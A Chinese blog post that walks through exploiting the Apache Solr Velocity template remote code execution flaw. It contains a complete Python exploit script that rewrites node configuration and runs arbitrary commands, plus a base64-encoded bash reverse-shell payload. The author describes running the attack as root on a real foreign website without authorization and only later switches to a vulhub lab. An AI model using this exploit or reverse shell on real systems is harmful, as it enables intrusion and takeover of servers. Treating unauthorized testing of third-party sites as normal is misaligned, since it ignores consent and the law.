Solr简单介绍
Solr是建立在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。
Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。
漏洞介绍
该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
影响范围:5.x - 8.2.0
需要具有config api
漏洞复现
翻了挺久,很多站都是没有core admin中的用户(自我理解),或是有的站已经有所防护,开启了密码验证,测试了很多站,发现一个外国的一个站可以完美复现。(纯属自己不喜欢手动搭建)
GET请求访问config
/solr/用户名/config

post请求poc验证


poc成功
GET请求RCE poc


很幸运,solr进程是以root用户权限执行的,一般应该是solr权限。

只能执行一个命令,ls,pwd,whoami,id等单个命令。遗憾,不懂java,不知道是不是可以改成完整RCE的exp
刚出炉的py_exp
"""
auth: @l3_W0ng
version: 1.0
function: Apache Solr RCE via Velocity template
usage: python3 script.py ip [port [command]]
default port=8983
default command=whoami
note:
Step1: Init Apache Solr Configuration
Step2: Remote Exec in Every Solr Node
"""
import sys
import json
import time
import requests
class initSolr(object):
timestamp_s = str(time.time()).split('.')
timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
def __init__(self, ip, port):
self.ip = ip
self.port = port
def get_nodes(self):
payload = {
'_': self.timestamp,
'indexInfo': 'false',
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
try:
nodes_info = requests.get(url, params=payload, timeout=5)
node = list(nodes_info.json()['status'].keys())
state = 1
except:
node = ''
state = 0
if node:
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
else:
return {
'node': None,
'state': state,
'msg': 'Get Nodes Failed'
}
def get_system(self):
payload = {
'_': self.timestamp,
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
try:
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
except:
os_name = ''
os_uname = ''
os_version = ''
state = 0
return {
'system': {
'name': os_name,
'uname': os_uname,
'version': os_version,
'state': state
}
}
class apacheSolrRCE(object):
def __init__(self, ip, port, node, command):
self.ip = ip
self.port = port
self.node = node
self.command = command
self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
def init_node_config(self):
url = self.url + '/config'
payload = {
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}
try:
res = requests.post(url=url, data=json.dumps(payload), timeout=5)
if res.status_code == 200:
return {
'init': 'Init node config successfully',
'state': 1
}
else:
return {
'init': 'Init node config failed',
'state': 0
}
except:
return {
'init': 'Init node config failed',
'state': 0
}
def rce(self):
url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
"%23set($x=%27%27)+"
"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
"%23set($str=$x.class.forName(%27java.lang.String%27))+"
"%23set($ex=$rt.getRuntime().exec(%27" + self.command +
"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
try:
res = requests.get(url=url, timeout=5)
if res.status_code == 200:
try:
if res.json()['responseHeader']['status'] == '0':
return 'RCE failed @Apache Solr node %s
' % self.node
else:
return 'RCE failed @Apache Solr node %s
' % self.node
except:
return 'RCE Successfully @Apache Solr node %s
%s
' % (self.node, res.text.strip().strip('0'))
else:
return 'RCE failed @Apache Solr node %s
' % self.node
except:
return 'RCE failed @Apache Solr node %s
' % self.node
def check(ip, port='8983', command='whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state'] == 0:
print('No Nodes Found. Remote Exec Failed!')
else:
nodes = system.get_nodes()['node']
systeminfo = system.get_system()
os_name = systeminfo['system']['name']
os_version = systeminfo['system']['version']
print('OS Realese: %s, OS Version: %s
if remote exec failed, '
'you should change your command with right os platform
' % (os_name, os_version))
for node in nodes:
res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
init_node_config = res.init_node_config()
if init_node_config['state'] == 1:
print('Init node %s Successfully, exec command=%s' % (node, command))
result = res.rce()
print(result)
else:
print('Init node %s Failed, Remote Exec Failed
' % node)
if __name__ == '__main__':
usage = ('python3 script.py ip [port [command]]
'
' default port=8983
'
' default command=whoami')
if len(sys.argv) == 4:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
check(ip=ip, port=port, command=command)
elif len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
check(ip=ip, port=port)
elif len(sys.argv) == 2:
ip = sys.argv[1]
check(ip=ip)
else:
print('Usage: %s:
' % usage)
分析下exp.py,通过访问/solr/admin/cores获取返回的json()对象中的['status']
list(nodes_info.json()['status'].keys())

然后在通过字典方法keys,返回所有的键。

然后在initSolr中get_nodes返回一个字典,讲获取的两个node名,作为'node'的键值
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
然后就是通过/solr/admin/info/system获取主机的相关信息
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
最后调用rce方法,将poc的get和post带上,迭代数组中的两个node(不一定就是两个,视主机情况而定)尝试RCE,然后获取返回值
pyexp实验如下:

只能执行单个命令,无法执行带空格的命令。比如ls -l ,cat xxx等
总结
- 这里分析,只是觉得想知道py_exp的运行方式和获取node的具体方式。真得很佩服能通过poc快速编写exp的能力的大佬,膜拜。希望有朝一日,也有如此的快速编写py脚本能力。
- 自我能力有限,并且不懂java,不知道是否可以真正的RCE,现在的版本,在我的认知里,只能做到whoami,id,pwd,lastlog等单个命令,做不到带空格的命令。本来想尝试passwd的,想想算了,万一搞破坏了,多不好,虽然都是外国站。
二次复现之反弹shell
今天看到了可以反弹shell的命令,所以尝试一波
利用vulnhub的环境复现
/vulhub/solr/CVE-2019-0193/
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建成功

再好好的复现一遍。
发现不能单纯的靠空格来,因为是直接用的get传数据,所以得加个%20或者+号作为空格。post数据是已经url编码过的,所以需要将我们的命令再urlencode的一遍即可。

经过很多搜索发现,java的RCE中反弹shell的payload很多都会修改成SpEL语句,即Spring表达式语言(本人对java知之甚少)
反弹shell payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}
再进行urlencode一次就可以了。
exp直接可以反弹到shell。这里不实验了。撸作业了。